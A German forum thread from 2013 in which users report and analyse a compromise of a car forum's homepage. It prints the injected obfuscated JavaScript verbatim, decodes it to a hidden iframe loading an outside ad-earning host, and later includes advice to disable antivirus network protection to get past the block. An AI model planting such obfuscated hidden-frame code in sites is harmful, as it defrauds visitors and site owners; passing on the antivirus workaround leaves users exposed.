Okay, das riecht komisch:
curl -i https://www.mini-forum.de/
HTTP/1.1 200 OK
Date: Fri, 22 Nov 2013 09:09:30 GMT
Server: Apache
Last-Modified: Fri, 22 Nov 2013 01:46:42 GMT
ETag: "151d297-1fd-528eb782"
Accept-Ranges: bytes
Content-Length: 509
Connection: close
Content-Type: text/html<META http-equiv="refresh" content="4;URL=http://mini-forum.de/index.php">
Big Server Load, Please wait 4seconds...
<script type='text/javascript'>
<!--
var s="=jgsbnf!tsd>#iuuq;00ss/kf0fbso/qiq#!xjeui>1!ifjhiu>1!tuzmf>#ijeefo#!gsbnfcpsefs>1!nbshjoifjhiu>1!nbshjoxjeui>1!tdspmmjoh>op?=0jgsbnf?";
m=""; for (i=0; i<s.length; i++) { if(s.charCodeAt(i) == 28){ m+= '&';} else if (s.charCodeAt(i) == 23) { m+= '!';} else { m+=String.fromCharCode(s.charCodeAt(i)-1); }}document.write(m);//-->
Was passieren soll ist, das folgendes in die Seite eingebettet wird:
<iframe src="http://rr.je/earn.php" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>
Da wird also bei jedem Aufruf der Startseite des Forums ein externer Frame eingebaut, und dann auf die eigentliche Startseite weitergeleitet.
Immerhin bedankt sich derjenige, der an der Einbettung verdient, ordentlich:
curl -i http://rr.je/earn.php
HTTP/1.1 200 OK
Date: Fri, 22 Nov 2013 09:20:01 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.4.9-4ubuntu2.3
Vary: Accept-Encoding
Content-Length: 628
Content-Type: text/html<html>
<title>YOUNG CHANG JUST EARNED 0,001 USD</title><body>
Thank you for visiting this page and helping Mr. Young Chang earning money.<br></br>
We would like to see you a client one day, but for now our registration is closed.
</body>
<br>
<p>
</p>
<iframe data-aa='9838' src='//ad.a-ads.com/9838?size=990x90' scrolling='no' style='width:990px; height:90px; border:0px; padding:0;overflow:hidden' allowtransparency='true'></iframe>
<iframe data-aa='9851' src='//ad.a-ads.com/9851?size=728x90' scrolling='no' style='width:728px; height:90px; border:0px; padding:0;overflow:hidden' allowtransparency='true'></iframe>
</html>
Ähem, Admins? Handeln!
Grüße
Andreas
hi,
hab ich recht?
kenn mich zwar nicht so aus,aber irgend etwas ist komisch an der seite,oder?
bin mal gespannt,gut das ich aktuellen virenscanner habe
duck und wech
Virenscanner ist da eigentlich die falsche Baustelle, da wird auf deinem Rechner nichts infiziert. Da hat halt ein dritter Zugriff auf den Forenserver und ein Schnipsel eingebaut, so daß er bei jeden Zugriff auf die Startseite Geld durch (unsichtbare) Aufrufe von Werbung verdient.
Grüße
Andreas
hi,
dann hoffen mir mal das das die admins hinbekommen!!!
muss ja jedes mal mein scanner abschalten um hier ins forum zu kommen 
gruss
frank
kann sein, das sich da inzwischen was getan hat?
heute vormittag hatte ich das mit safari aufm mac im büro auch,
inzwischen hier zu hause kommt der big server load nicht mehr
und das forum ist sofort am start.
korrektur meinerseits. hab grad nen reload gemacht und
die meldung "big server load" ist doch noch vorhanden.
Da muss ein Schädling sein. Wenn ich auf die Startseite gehe macht mein Scanner Alarm. Hab angst, dass der Werkschutz gleich vor der Tür steht.
Bei unserem PC fängts nun auch an.... 
hi,
habe gerade festgestellt das es immer noch probleme mit der seite gibt
kein admin in der nähe der das mal in die hand nimmt?
gruss
frank
also bei mir ist auf drei Rechnern (einer davon ein Tablet) alles völlig normal. Avast meldet garnichts.
hi,
also mein avast meldet und sperrt sofort die seite,nur wenn ich deaktiviere dann komm ich auf die seite!
gruss
frank
Das wird auch so lange so bleiben, bis ein Admin den Trojaner entfernt und per E-Mail Avast über die Desinfizierung informiert hat.
Durch die vielen Vierenwarnung, die online direkt an Avast gemeldet werden, hat Avast die Forums URL automatisch auf eine "Blacklist" gesetzt und beim nächsten Vieren-Update blockiert avast den Zugang zur Startseite.
Umgehen lässt sich die Blockade nur durch de-aktivierung des Netztwerk-Schutzes in avast 
Wenn man eine gescheite Firewall hat, sollte das kein Problem sein, wenn man entsprechend "vorsichtig" surft 
Gruß, Diddi
nabend,
gruss
frank
Norten macht auch Alarm wenn ich die Seite aufrufe !!
Wenn ich aufrufe kommt folgende Zeile:
Big Server Load, Please wait 4seconds...
Anzeige bei Norton:
Trojan.Webkit!html
Risk Level 1: Very Low
summary technical details removal Printer Friendly Page|Rate this pageDiscovered: October 9, 2007
Updated: October 9, 2007 4:42:01 PM
Type: Trojan
Infection Length: Varies
Systems Affected: Linux, Mac OS X, Solaris, Windows 2000, Windows 95, Windows 98, Windows Me, Windows NT, Windows Server 2003, Windows Vista, Windows XP
Trojan.Webkit!html is a generic detection for HTML files containing malicious code to redirect users to malicious Web servers.
Antivirus Protection Dates
Initial Rapid Release version October 22, 2007 revision 040
Latest Rapid Release version August 15, 2013 revision 019
Initial Daily Certified version October 10, 2007 revision 003
Latest Daily Certified version August 15, 2013 revision 022
Initial Weekly Certified release date October 10, 2007
Click here for a more detailed description of Rapid Release and Daily Certified virus definitions.
Threat Assessment
Wild
Wild Level: Low
Number of Infections: 0 - 49
Number of Sites: 0 - 2
Geographical Distribution: Low
Threat Containment: Easy
Removal: Easy
Damage
Damage Level: Low
Distribution
Distribution Level: Low
Writeup By: Ka Chun Leung
Summary| Technical Details| Removal
Gruß
Michael
Siehe meine AW in diesem Thema.
https://www.mini-forum.de/showpost.php?p=945760&postcount=15
Du hast noch kein Benutzerkonto auf unserer Seite? Registriere dich kostenlos und nimm an unserer Community teil!
